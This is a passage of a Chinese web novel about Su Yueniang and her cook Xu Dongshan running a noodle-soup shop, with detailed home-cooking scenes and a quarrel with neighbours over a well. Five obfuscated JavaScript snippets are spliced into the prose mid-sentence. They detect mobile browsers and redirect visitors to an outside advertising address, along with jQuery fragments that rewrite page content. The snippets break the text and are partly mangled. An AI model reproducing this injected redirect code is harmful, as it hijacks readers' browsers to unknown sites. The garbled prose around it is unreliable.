热锅冷油，倒入香菇条、虾米、巴浪鱼干、加饭酒炒香，盛入大盆中备用。 锅中的余油味道腥，不能直接加水，许东山用两块抹布垫着锅把将大锅提起来，送到院子里去洗。 苏月娘将洗碗大盆拎起来，空出位置让许东山放锅，锅放好，苏月娘就着沾满茶籽粉水的丝瓜络用力地来回刷了几下。 许东山看她刷锅刷得气势汹汹，心里打起了鼓。 冲洗去刷锅的污水，苏月娘示意许东山将锅拎走。 “一会儿多下点地瓜粉。” 许东山又松了口气，看来，她的气是单冲着他二婶去的。 往锅里加了两大碗水，丢入用盐水去过泥沙的一把花蛤后，许东山提着锅回去了。 趁着水还未烧滚，往装了香菇虾米鱼干的大盆里倒入腌好的梅花肉条、切好的小朵菜花、去皮花生，再用生抽、盐、胡椒粉调味，将调味与菜拌匀，再根据苏月娘的指示倒入能够淹没食材一半的地瓜粉。 一旁的小炉上还有热水，分四次、每次半勺水倒入盆中搅拌，直到地瓜粉变成粘稠的浆质均匀地挂在食材上，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113854|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把食材黏成一个大粉团。 锅中的花蛤汤底沸腾，花蛤们大喇喇地张开花纹复杂的贝壳，将黄色的花蛤肉展露出来。 快速撇去花蛤汤面的浮沫，用铁勺揩起粉团抖入汤中，下完一盆粉团静煮一瞬，粉团稍微成型，快速地用铁勺推开粉团，避免个别粉团粘连。 掰一片湖头米粉盖在粉团上煮软，最后放入油菜、盐、葱头油、葱花煮至食材熟透。 惠安地瓜粉团大功告成。 许东山将地瓜粉团盛出来，照顾到苏月娘已经许久没有进食了，便给苏月娘安排了一个大海碗。 “粉团已经出锅了，先来吃！” 正好苏月娘将洗好的碗一个挨一个倒趴在水池边。 “来了来了！” 苏月娘饿得五脏庙大唱反调，连想钱匣子里的钱都制伏不了。 …… 刚刚来喝面线糊的惠安女正坐在堂屋里稍歇一会儿，现在天气愈发热了，穿着蓝短衫黑阔裤的惠安女们拿着她们的黄漆尖斗笠扇风。 看苏月娘捧着地瓜粉团出来，惠安女们纷纷探头去看。 “你这地瓜粉团做得有模有样的！” “跟我们家里做的似的！” 苏月娘笑道：“是我家厨房师傅厉害！” “那你家厨房师傅确实厉害！不过，你这头家人也不错，你家面线糊好吃，给料还大方！隔壁那家夭鬼（4）得很！才半个巴掌大的醋肉还要再偷偷克扣一块下来！” “是啊是啊！在他家吃完想坐着歇会儿，头家娘还明里暗里让我们早点走！” 几个惠安女七嘴八舌地说起了她们在这条街去过的店铺。 惠安女们说得绘声绘色的，苏月娘一边吃着，一边竖起耳朵听着。 美食配闲话，味道会更美。 地瓜粉团是今日午饭的主角，略显透明的酱油色地瓜粉皮紧实包裹着荤素食材，入口润滑，一口咬下去，先触及软弱的的地瓜粉皮，随后再碰见或是脆嫩的菜花或是香脆的花生，两种极端口感碰撞在一起，竟也不显得违和。 花蛤是一样神奇的海鲜，怎么做都成，用来煮汤时，汤水多了鲜香的滋味，花蛤肉却还保留着原有的嫩滑和鲜甜。花蛤汤底不会使虾米和巴浪鱼做的地瓜粉团吃起来更腥，反而巧妙地用花蛤中的那一点鲜甜化解了地瓜粉团可能会带来的腻味。 苏月娘吃得投入，都没关心许东山为什么许久都没出来。 等惠安女们歇够了要走时，苏月娘放下调羹筷子，帮她们拎着空萝篮出去。 “慢走，路上小心！” 惠安女们笑着和苏月娘挥手。 苏月娘美滋滋地回到堂屋里，许东山这才端着他的碗从厨房里走出来。 “许大哥，你怎么才出来啊？” 许东山坐下，“我怕吓到客人。” 苏月娘没想到许东山待在厨房不出来是因为这个原因，她笑出声来，“倒也没有那么严重！” 许东山，“可客人看到我就跑……” “我这几天多和客人们夸夸你，过几天，他们肯定都能接受你的！” 一家好的吃食店，不仅要服务好，更要味道好，有的店出名的是厨房师傅，哪怕这个师傅换店做事，客人们也会愿意追着这个师傅去捧场。 苏月娘觉得，若是机缘巧合，许东山也能成为月娘面线糊店的响亮招牌。 8. 炸菜粿 月娘面线糊店的生意好，李金花的生意自然会受影响。 一连五日生意低迷的李金花气得夜里睡不着觉，站在自家后院朝着许东山家吐唾沫。 许东山的二叔许二福起夜时没找见李金花，便在离开茅厕后，到处找人。 “这个天时你站在这儿干什么？”许二福睡眼朦胧地打了个打哈欠。 “生意差成这个样子，我都急得睡不着觉了，你还没心没肝地睡得像头死猪一样！” 许二福胆小老实，平日里受李金花的气多了，现在被指着脸骂也只是瑟缩一下，并不敢出声顶嘴。 “当时让你去和你侄子谈谈租店的事情，你也办不成！嫁给你后，我就没有一天是不操心的！” 李金花朝着许二福一顿发泄，许二福就低着头听着，眼见着天都快亮了，李金花才停了这一茬。 “还不赶紧去挑水煮面线糊！” 许二福暗暗松了口气，转过身去取了扁担和两个水桶就要出门，李金花见了，又是气不打一处来。 “你是蠢吗！隔壁就有个现成的水井你还往外跑！” 许二福长长地叹了口气，“阿山都把后门锁上了，咱们也过不去啊！” 李金花一脚踢在许二福的身上，“那排栅栏就这么点高，你人高马大的还跨不过去？” 许二福怕再被李金花打骂，只能提着两个大木桶，小心翼翼地跨过两道几乎和他的腿一样高的栅栏去许东山家里打水。 …… 那边，苏月娘与许东山也起了。 收入一日比一日多，就算比开业那日起得早，两个人也是心甘情愿的。 “昨天的醋肉又不够卖，今天多炸一点，煎蛋不如卤蛋受欢迎，总是剩大半卖不出去，干脆今天煎一半的量就好！” 苏月娘推开厨房后门，忽然一声粗犷的“哎呦”传来。 苏月娘惊得脚滑，所幸跟在她身后的许东山眼疾手快地搀了她一把，她才免于一摔。 站稳后，苏月娘接着灰蒙蒙的天光朝着声音传来的方向望去。 只见栅栏上斜挂着一个男人，一个木桶顺着角落快速滚去，木桶里的水也因此洒了一地。 “许大哥……外面有人……”苏月娘心里犯毛地往许东山身后躲了躲。 许东山一手抄起靠在门边的扫把，大步朝着栅栏边走去。 挂在栅栏上的许二福不知哪儿被勾住了，挣扎了半天也没能从栅栏上跳下来。 “阿山是我！我是你二叔！” 正要举起扫把打人的许东山听此，立即扔掉了手中的扫把。 “二叔？” “快拉我一把！裤子要是勾破了，你二婶会嚷嚷的！” 许东山皱着眉，给许二福搭了把手，许二福这才能够从栅栏上下来。 苏月娘听见外头的对话，从门边探出脑袋，见停在角落的桶和洒了一地的水，她便知道许东山的二叔是来偷打井水的。 想起这几日一直上不来的水位和许东山因为打水浪费的时间，苏月娘心里头当即窜出火来。 她大步流星地走了出去，拉了拉许东山的胳膊。 许东山接收到苏月娘的示意，顶着和许二福一家撕破脸皮的风险，与许二福道：“水井里的水不够我们两家一起用，以后得辛苦二叔去镇尾挑水了。” 许二福自知水井不是自家的，对于许东山的话也没有反驳什么，只是点了点头。 在那边屋里做事的李金花听见许东山的话，顿时不乐意了，她放下手头的事情冲出去，冲着许东山嚷嚷道：“你这话什么意思？我和你二叔用你点水都不行了？” “我们家也要做生意，二婶你们把水打空了，我家用什么？” “好啊你！这个人才来多久你就胳膊肘往外拐！先是把店租给她做生意，再是防着我和你二叔在你家打水！你可真是个白眼狼！” 许东山不擅长与人吵架，他二婶不分青红皂白地喷了一顿，他竟然词穷了。 苏月娘见许东山嘴笨成这样，恨铁不成钢地将他往身后一拉。 “从前让你用这里的井是情分，现在不让你用却是本分！你自己说说这井跟你家有什么关系！” 苏月娘打小在自家小店里接人待物，也曾气势磅礴地和故意找茬的客人吵过架，现在面对李金花，她丝毫不会怯场。 “这里没你这个外人说话的份！” 苏月娘往前走了一步，仰着下巴，大声呛了回去，“怎么没我说话的份？我花钱租下这个地方，除了许大哥的那间屋子，哪里我用不了？这口井现在算是我的，你不经我同意从我的井里打水，这跟偷有什么区别？” 眼瞧着李金花气得就要跨过栅栏过来和苏月娘理论，许二福赶忙提起木桶跨回自家，将李金花往后推。 “大家先冷静冷静……别伤了和气……” 李金花被拖走了，苏月娘看着一地的水，心里的火怎样都压不下去。 “我看过两天得找个石匠把后墙给围起来！”丢下这话后，苏月娘气冲冲地回屋去了。 许东山无措地环顾四周，他也不知道该说点什么让苏月娘消气——索性就不说了，收拾收拾后院的一地狼藉要紧。 —— 因为隔壁夫妇俩偷打井水的事情，苏月娘生了一日的闷气，或者说是单对着许东山生闷气，面对客人时，苏月娘还是那副笑容灿烂的模样。 许东山今日不敢多和苏月娘说话，有时和苏月娘碰上面，他会跟老鼠见了猫似的扭头就走，生怕和苏月娘对上话。 好在今天的生意还不错，还不到傍晚，今天准备的两桶面线糊就已经售罄了。 想到苏月娘今早心情不好没出去买菜，许东山便主动带着自己的钱出门去采买。 这个时辰，售卖海产的惠安女和蟳埔女已经回去了，街上只剩下几个卖菜的商贩还蹲在那儿吆喝。 这个时候的菜看着多是不新鲜的，他在街上看了半天，只找见比较新鲜的菜头（白萝卜）。 正好卖菜的那人筐里还剩下三条又粗又壮的菜头，许东山索性将那些菜头都包圆了，准备给苏月娘做点菜粿消消火。 …… 许东山抱着三条菜头、提着一块肉回来时，苏月娘正坐在堂屋里打算盘。 见许东山难得出一趟门，苏月娘朝他投去一个好奇的目光。 “今晚上给你炸点菜粿去火。” 苏月娘扯了扯嘴角，收回视线，继续拨弄她的算盘珠子。 许东山不知如何是好，便先提着东西进厨房去了。 …… 今天时间多，很是适宜做菜粿这样琢工（1）的东西。 三条小臂长的菜头外皮还沾着地里的湿泥巴，顶部叶子翠绿，尾部皆只有一条且笔直修长的尾根。 碰上这么新鲜的菜头，许东山很难忍住不留半条用来煮汤。 于是他斟酌着切了半条菜头存在橱子里，打算明天中午煮点菜头肉片汤。 （2）两条半的菜头洗净外皮，再用刀切除头尾，削去外皮。 新鲜的菜头不经处理基本会发苦，许东山找出闲置许久的刨丝器，费了点功夫把这两条半的菜头都擦成细丝，随后往一大盆菜头丝里拌入一勺半的盐巴杀苦。 等待菜头的苦水析出的这一段时间，许东山煮了粥，腌制了瘦肉羹，顺带去外头收了已经沥干水的碗。 干了一圈活回来，菜头丝里的苦水已经被杀得差不多了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113855|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 先倒去可流动的苦水，而后攥着菜头丝用力拧一拧，将锁在菜头丝间隙的苦水挤出，最后再用清水淘洗一遍，避免菜头丝上还残留苦味和过多的咸味。 处理过后的菜头丝变得软趴趴的，这样，便能够开始将菜头丝进一步变成菜头泥了。 家里缺少简易磨板，许东山只能采取用菜刀剁的土办法，不过菜刀剁容易使得汁水飞溅流失，破坏成品口感，思来想去，许东山决计将案板放在大盆中剁，这样一来，飞溅的汁水就能够被被盆壁衔住。 不知过了多久，菜头丝总算变成了无明显的丝状的菜头泥，往菜头泥里加入适量的盐巴调味便能放入锅中蒸煮。 接着，许东山另起一炉灶，倒入冷油，直到油泡从锅底冒到油面，将方才腌制好的肉羹顺着锅边下入锅中，稍煎到成型、表面不再有生的粉与肉时便能够倒入热水与酱油，盖上锅盖炣（3）一会儿。 一刻钟过去，菜头泥熟透，许东山往其中加入方才准备好的粘米粉水，将二者搅拌成质地均匀的浆糊，再添柴火，放回锅中蒸煮。 …… 天色渐暗，还没等到饭菜的苏月娘趴在堂屋的桌上往厨房瞧。 看到许东山出出入入的，她到底是忍不住问道：“还没好吗？” 许东山停下脚步，“我这就去炸。” “快点……饿死了……”苏月娘继续往那儿一趴，晃着她的钱匣子听响。 蒸成大块的白色菜粿已经逐渐冷却下来，许东山将菜粿切成大小一致的长方厚片整齐地码在大盆里备用。 起锅烧油，待在油中放入一根木炸筷，筷子周遭冒起小泡的程度，菜粿片便能够下锅烹炸了。 菜粿片原就是熟的，不需要跟炸醋肉一样炸那么长时间。 当菜粿表面完全变成金黄色，用煎勺在菜粿表面轻轻刮一刮，能听见清脆的刮鳞声，菜粿就可以捞上来沥油了。 随时观察着厨房的苏月娘见许东山捞起菜粿架在锅边理由，便立即起身进厨房盛稀饭。 “小锅里有炣瘦肉，记得一起盛出来。” 今天的菜粿分量多，许东山难得“有仪式感”地翻出藏在柜子深处的浅大圆盘装菜粿，杂乱无章地堆叠终归入不了差点成了大席厨子的许东山的眼，是以许东山费了点神，去外头的花盆里摘了一棵芫荽，洗净去为，团成无底鸟巢的形状铺在盘底，随后再将金黄的炸菜粿整齐斜叠一圈。 至于盘子中央的空缺，许东山翻出甜辣，舀了一大勺放在小碗里，最后再将小碗放在盘子中央。 一道摆盘得跟宴席菜一样的炸菜粿便完成了。 “快吃吧，已经没那么烫了。”许东山将炸菜粿放在苏月娘面前。 “看这摆盘我的火都下去了。”苏月娘将许东山今天的小心翼翼都看在眼里。 其实转念一想，今天水被偷的事情和许东山没有关系，大不了她花点钱把后墙围起来好了。 “不生气了就好，明天我去找砖匠来砌墙，这笔钱我来出。”许东山舀了一勺炣瘦肉拌入稀饭里。 这是一道常见的配粥菜，酱油水炣炒肉羹，肉汁被熬入酱油水中，拌入稀饭里比起普通的酱油拌粥香了不知多少倍。 “不用不用……我来……”苏月娘夹着一块炸菜粿，沾了点甜辣送到口中。 区别于用地瓜粉炸的醋肉，炸菜粿的外皮是更加细腻的酥脆。 酥皮是薄薄一层，带着一点点米香，真正的主角是包裹在酥皮里的软萝卜糕，杀过苦的菜头留下清甜，仅用少量盐调味，粿体依旧保留着菜头的清香，鲜嫩的粿体入口，颇有入口即化的架势。 “十五十六这两天生意应该会不错……干脆十七这天歇业，把墙砌了！” 9. 包菜咸饭 十五十六那两日，闽南家家户户拜佛祖观音、土地帝爷，百姓们纷纷上街采买贡品，街市热闹非常，月娘面线糊店也因此忙碌了两天，赚了不少钱。（1） 眼红的李金花每日看着月娘面线糊店总是有客人进进出出，恨得每日都要抓着许二福臭骂几顿。 十七一早，许东山帮忙找的砌砖师傅带着他的学徒上门了。 要围的只有两面墙，老师傅和小学徒一起干顶了天了也只需要半天的时间。 许东山在后院监督砌墙匠干活时，苏月娘站在门头和不知情的客人们解释今日没开工的原因。 客人们虽然觉得遗憾，却也表示理解，有几个实在饿得不行的，直接往隔壁的“二福面线糊”去了。 李金花见客人们来自家是因为隔壁没开门，脸上愣是挤不出笑容来。 重新关上大门，苏月娘去厨房泡了茶水端到后院去。 为了和旧墙保持一致的颜色，苏月娘挑了灰砖来砌新墙，虽然用砖相同，但终归能看出新墙和旧墙的区别。 “等以后赚钱了，咱们再把旧墙敲了重新砌吧？” 许东山扫了旧墙一眼，见旧墙上有几快砖头摇摇欲坠，“好。” 正在搅和固墙泥浆的砌墙师傅呵呵笑道：“苏头家生意那么好，随便赚个三两天都能挣够！” 虽然才开业半个月，但月娘面线糊店的名声却在周围传了出去，连住在镇尾的砌墙师傅都听说了月娘面线糊店的名号。 所谓财不外露，苏月娘还是选择谦虚地瞒下自己不缺钱的事实。 “现在菜价肉价一天一个样，我们顶多也就挣个辛苦钱！” “那先祝苏老板生意兴隆了！等苏老板有钱了盖大房子了，记得来照顾一下我的生意！” “一定一定！” 知道隔壁在砌墙，李金花就总是三不五时地往后院跑，看到隔壁的院墙慢慢砌起来，将整个院落遮挡住，李金花恨得牙痒痒。 现在隔壁不让打水了，她要用水就得透早去镇尾打，来来去去费费力气与腿脚，等水打来了，哪还有功夫卖面线糊！ “娘，家里又没水了！”李金花和许二福的儿子许东石坐在屋里嚷嚷道。 李金花愤愤回头，“没水去镇尾挑啊！” “去那么远打水累死人了！不如我们也打口井吧！” “还不是要给你攒彩礼，不然早把钱拿出来打井了！我警告你，你可别和你堂哥一样，一把岁数了还没成亲！” 隔壁家的动静闹得太响，苏月娘和砌墙师徒二人听得差点笑出声。 许东山看着苏月娘脸上的笑，不禁皱了下眉。 苏月娘拍了拍许东山的肩，憋笑压低声音道：“许大哥你好好努力，我先出门买菜了，师傅给的工价低，中午请他们在店里吃一顿。” 许东山，“……” —— 过了十五，夏意愈发深了，一日比一日热。 走在塞满行人的路上，区区一刻钟，苏月娘已经热得满头大汗的。 她为了躲避大伯给她安排的婚事，跑得匆忙，光带一些值钱的东西傍身了，衣裳都没带几套。 都已经入夏了，她却还只能穿着有些不透气的春装，平日在店里做事晒不到太阳不觉得有什么，今日出来走一遭才发现穿这身衣裳有多遭罪。 在买菜之前，苏月娘拐进了一家卖布料的小店，仔细挑选了几块花色漂亮、手感柔软的夏用布料，并让布料店的头家娘帮着做成衣裳。 头家娘一边帮苏月娘量体，一边与苏月娘闲聊道：“你刚来的时候经常从我家门口经过，我还以为你是过来嫁人的，后来才知道你是个能干大事的大头家。” “要不是大家肯捧场，我这生意也做不起来！” 头家娘笑呵呵的，“做生意还得是像你一样笑脸迎人的，你隔壁那家整天端着一张臭脸，谁乐意去啊？” 在外不说旁人坏话是最基本的，所以苏月娘没有搭头家娘的腔。 量体结束后，苏月娘付了三成作为定金，头家娘殷勤地说衣裳做好了会送到面线糊店去。 …… 请砌墙师傅们吃饭自然用不着大鱼大肉，有荤腥、能吃饱就算是不错的了。 见一个阿嬷卖的包菜又大又绿，苏月娘便萌生了吃包菜咸饭的想法。 买齐了包菜、红菜后，苏月娘又往街市深处走了一截，没曾想碰见了在街上摆摊卖豆腐的阿生和他阿嬷。 热情的阿生阿嬷红姑和苏月娘问了好，得知苏月娘今天要请砌墙师傅吃饭，便着手用叶子包了两块新鲜的豆腐塞给苏月娘。 苏月娘原想付钱，但红姑直说以前受过许东山不少帮助，这两块豆腐就当是送给许东山的。 既然如此，苏月娘也不好不收。 买点花蛤和瘦肉，凑一锅花蛤豆腐肉片汤得了。 —— 许东山性子闷，和砌墙师徒也聊不来，只能在院子角落干站着，见苏月娘回来了，许东山便回到屋里听她安排。 “刚刚在街上碰见阿生和他阿嬷了，阿生阿嬷还硬塞两块豆腐说要送给你。” 许东山翻开包裹豆腐的叶子看了两眼，那豆腐是红姑卖的豆腐里最贵的水豆腐。 “改天我去看看他们。” 苏月娘继续将竹篮里的食材往外拿，“今天中午就做包菜咸饭和花蛤豆腐肉片汤请师傅们吃，你手艺好你来做，我去外面看看。” 这个时间做饭应当能赶上师傅们完工。 “师傅们一会儿留下吃顿便饭再走吧？许大哥已经在做饭了！” 坐在梯子上的砌墙师傅转过头笑道：“阿山手艺好，我们今天有口福喽！” 邀请砌墙师徒二人留下吃饭后，苏月娘帮着许东山备菜生火。 （2） 依旧是丢下一大把三层肉煸油，葱头虾米香菇炒香作为开始，随后倒入红菜丝翻炒一会儿，待红菜丝断生便可加入淘好的米、酱油、适量盐、少量白糖进行翻拌。 间隙锁满水的米翻炒起来可不容易，翻一下，总有米粒会飞出挂在锅边，许东山还得费点功夫将米粒刮下来。 米粒被拌成酱油色后，且水分被炒干就可以换个锅盛放拌菜生米，加入与米面齐平的滚水，盖上锅盖焖煮半个时辰。 等了两刻钟后，锅中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113856|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咸饭正是半熟的状态，坐在灶台边发呆的许东山站起来继续就着刚才用过的锅加点猪油、不加任何调味料清炒包菜。 包菜一经炒熟，应立即出锅，不然就容易失去脆嫩的口感。 苏月娘从院子里探进脑袋，“许大哥，饭菜到什么地步了，师傅们快砌好墙了！” “还差汤。” “动作快点吧！争取早点让师傅们吃上饭！” 一经苏月娘的催促，许东山加快了速度。 小灶锅烧热之后立即添上冷油，待油烧热，丢下一小篮偶有探头的花蛤与事先切好的一小撮姜丝进行爆炒。 在热火烈油的夹击下，花蛤被迫张开壳甲，将黄色的肉质暴露在空气中。 倒入烧好的滚水、下入腌制好的肉羹，盖上锅盖煮熟便好。 这时候，两面墙已经砌好了，砌墙师徒一齐凑在水池边让苏月娘帮着冲手。 许东山赶在师傅们进门之前，将炒好的包菜与葱花、葱头油一起倒入咸饭中搅拌均匀。 一瞬之间，带着甜味的饭香被激发出来，香气透过厨房的小窗飘到外头去，忙活了一早上的师徒二人不由得咽了咽口水，加快了搓手的速度。 将咸饭盛好，另一口锅中的汤也烧得差不多了，许东山小心翼翼地从叶子上抓起脆弱得稍一用力就会破碎的水豆腐，两块上下叠在手心里，快速切成厚片滑入锅中，稍做调味、撒入葱花、芫荽，花蛤豆腐肉片汤便可以出锅了。 砌墙师徒二人纷纷凑到许东山身边探头。 砌墙师父年纪大，和许东山的爹是同辈，面对高大威猛一脸凶相的许东山还能开玩笑。 “脸长得这么凶，做起饭来居然一点都不马虎！月娘头家可真是请对人了！” 砌墙徒弟倒不敢和许东山搭话，只是站在那儿看着锅里的咸饭，口水险些流下来了。 …… 干气力活的匠人都喜好荤腥，今天这颜色丰富的包菜咸饭下了足够的三层肉，油分足够，焖煮出来的咸饭，米粒、配料皆是“油光发亮”的，却又不会有多余的油漏在饭底。 大概是红菜和包菜种好新鲜的缘故，今日的咸饭称得上是极为够味，还没吃，就能闻出那饭是清甜的。 师徒二人的肚子一阵咕咕叫，一拿到筷子，便不顾形象地狼吞虎咽起来。 那师父一边吃着，还一边与苏月娘说道：“阿山这个手艺光煮面线糊太屈才了，你可以考虑卖点别的！” 苏月娘满意地看了许东山一眼，“过段时间可以试试！” 徒弟吃得着急，才吃两口就呛得直咳嗽。 师父嫌他丢人，赶忙给他盛一碗汤，催他喝下去，“都快二十岁的人了，还这么不小心！” 好不容易缓过来的小学徒赶紧捧着那碗清淡鲜香的花蛤豆腐肉片汤喝了起来。 喝完后，这个小伙子还有些意犹未尽地咂咂嘴。 “月娘头家，你家的汤真好喝！不像我娘做的，都不舍得放盐！”小伙子挠挠后脑勺，有些腼腆地笑，“难怪你们生意好……” 砌墙师父嘿嘿笑道：“你家要是多卖点别的，指定能在一年内盖新房子！” 10. 满煎糕 这日清早，又下起了雨，雨势与苏月娘来到许东山家的那一日一般大。 比往日都晚起了将近两刻钟的苏月娘站在堂屋和后屋的连廊上望雨，心里不再有上一回那般的惶恐与无助。 彼时雨中炊烟飘散，面线糊香气自四面八方包拢而来。 苏月娘一边抻着懒腰，一边去厨房寻许东山。 看到许东山自己一个人煮面线糊、备二十余种配料，苏月娘打心底感慨这个厨房师傅找得可真对。 “许大哥，有吃的吗？” “没煮别的，面线糊吃不吃？” 平日里许东山和苏月娘大多是各自吃一碗面线糊了事，所以今日没等到苏月娘一起来做事，许东山干脆就没有准备别的。 “每天都吃面线糊没意思……”苏月娘坐在灶边盯着许东山煎蛋包（1）。 “那你想吃什么？” 苏月娘拖着腮，沉思了好半天，“忽然有些想吃甜的……” 许东山将四五个蛋包盛出锅，而后站在灶边想了好一会儿，“甜的？比如说什么？” “比如说满煎糕！这附近都没有人在卖……” “吃满煎糕的话，你可能得多等一会儿了。” 苏月娘不甚在意地摇摇头，“等会儿就等会儿吧……反正今天下雨，也没什么客人。” 既然头家都发话了，许东山也就着手办起来。 “东西都准备好了，你摆上台子就好，我出去买点面母（2）。” “辛苦许大哥了！”苏月娘眉开眼笑。 她可是花了钱的，使唤起许东山来也不会觉得有什么不合适。 …… 许东山换上他的旧鞋，带上大伞，小心地靠着屋檐出门去了。 这雨是从昨晚开始下的，除了几个住得近的、东西备得齐全的商贩以外，那些住得远的都没有过来摆摊。 倒是那些有店铺的头家，依旧是这个时辰开店。 就在月娘面线糊店附近，就有一家专门做包子的小店，大老远的，许东山就闻见了包子的香味。 “你好，买点什么？” 许东山走到包子店的檐下，却还是将雨伞架在身后遮雨。 “有没有面母和灰水（2）？” 头家知道许东山是做面线糊的，对于他来买面母和灰水的行为有些不解，“你不是做面线糊的吗？买面母和灰水做什么？” “我头家要吃满煎糕。” 卖包子的头家听此，爽快地回厨房取来了一碗用面团发酵而成的稀面母和一小碗灰水。 许东山低头掏钱。 “我不收你的钱！你头家出来买菜，五次有三次都来照顾我的生意，这些就送你了！记得把碗还回来就好！” 不要钱的东西不要白不要，许东山与卖包子的头家道了一声谢后，便护着这两样东西赶回去了。 许东山回去的时候，堂屋里已经坐着三个正在喝面线糊的客人。 在孤榻上放好滴答落水的伞并踩干鞋底的水，许东山才带着东西进门。 许东山一出现，客人见着他，纷纷偷偷地将目光停落在他身上。 许东山立即精神紧绷，生怕因为自己的面貌而影响苏月娘的生意。 他加快脚步往厨房走。 没曾想路过两个结伴而来的客人那一桌时，他听见其中一个说：“你看，就是他！他做的面线糊可好呷（3）了！” “果然人不可貌相！” 许东山顿时松懈下来，心底有些小小的雀跃。 “这个时候才这么三两个人……还好你少准备了一点面线糊。”苏月娘见许东山带着东西回来了，马上站起身要帮忙。 方才许东山不在家的时候，苏月娘早早地称好了满煎糕所需要的红糖、白糖、面粉、油麻（4）和花生。 甚至还去仓库里翻出一口特制的煎锅洗干净摆在小灶上。 “这雨应该下不了两天，过两天还是会有客人的。”许东山生怕苏月娘心里有落差难过，赶忙宽慰道。 “歇几天也好，说不定过几天客人们更想念我们家的面线糊，来得更频繁呢！”苏月娘自小在家里的小吃店干活，心态可不是一般的好。 做生意的人靠天吃饭，天公变幻不定，若是成日杞人忧天、怨声载道，那生意也是难以维系下去的。 那边在堂屋里的客人大声喊道：“月娘头家，再添点面线糊，然后加醋肉、豆干、鸡卷、卤蛋！” “好嘞！” “许大哥你先准备着！”苏月娘起身去盛面线糊。 今天的料大概是卖不完了，苏月娘索性多给客人加了半份。 客人惊道：“怎么给我这么多？多了我可没钱给你！” “你要多给我钱我也不敢要！今天下雨，生意不会好，我怕东西卖不完，就多给你盛了一点！”苏月娘笑道：“换做平时，可没这种好事！” 那客人被苏月娘逗得哈哈大笑，“那我以后雨天再来！” “可别！你要是平时不来捧场，还没等到秋雨落下来，这家店就该倒闭了！” “月娘头家都这么说了，那我平日里可得多来几次！不然这么好喝实惠的面线糊没有了，我都不知道上哪哭去！” 厨房里的许东山听着外头的说笑声，当真是打心底佩服苏月娘。 也就是她这样性格好会说话的聪明人能和客人们说笑到一块儿去。 他抬头看了一眼干脆坐下和客人们闲聊的苏月娘，随后便低头着手拌起了做满煎糕的面糊。 （5） 备一盆，盆中依次加入面粉、白糖、红糖、微量盐、两颗鸡蛋以及方才从包子店要来的稀面母与灰水，最后倒入适量清水将盆中的材料搅拌均匀，至面糊呈匀净棕色的稀浆糊质地且无明显颗粒即可盖上宽碟子发酵。 满煎糕做法不难，但等面糊发酵费的时间长。 苏月娘还在和等雨停的客人闲聊，时不时有新的客人来了会回到厨房盛面线糊。 许东山一个人百无聊赖地烧锅炒花生芝麻，等花生由油麻炒熟了，他还趁热将花生皮都搓下来，用蒲扇扇到灶里跟着柴一齐烧。 面糊还有一刻钟发酵好的时候，许东山找到石杵和石臼，将花生与油麻用力杵成细腻的小颗粒，并根据苏月娘的口味拌上大量的红糖。 外头的雨不仅没有停歇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115275|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思，反而愈下愈大，被这场雨困在店里的客人越来越多。 到后来，大家在苏月娘的带动下在堂屋里围了个圈，开始闲聊吹牛。 面糊发酵好，稍微搅拌，将面糊里气排空，而后往烧热的煎锅里刷上油，便可以盛两勺面糊倒入煎锅倒匀。 在灶下中小火的加热下，浅焦色的匀和面糊慢慢地变成了稍深的棕色，暴露在空气中的那一面，慢慢被煎出蜂窝孔，等到整张糕成型，撒上花生油麻红糖，盖上盖子闷一会儿，等表面的红糖融化成浆质，便可以用锅铲铲起一边将糕对折盛到盘子里。 苏月娘准备的材料多，许东山自然是一点不浪费地全做成了满煎糕。 最后竟然足足做了三大盘。 每一张被折成半圆形的满煎糕从直边中点开始，斜切成四五片三角的。 苏月娘还饿着肚子和客人聊天，光苏月娘一个人吃也不好，所以许东山将其中两盘再细切一半，没有再分切的那盘单给苏月娘。 当许东山用大托盘装着三盘满煎糕出去，苏月娘立即注意到了他。 “满煎糕做好了？” 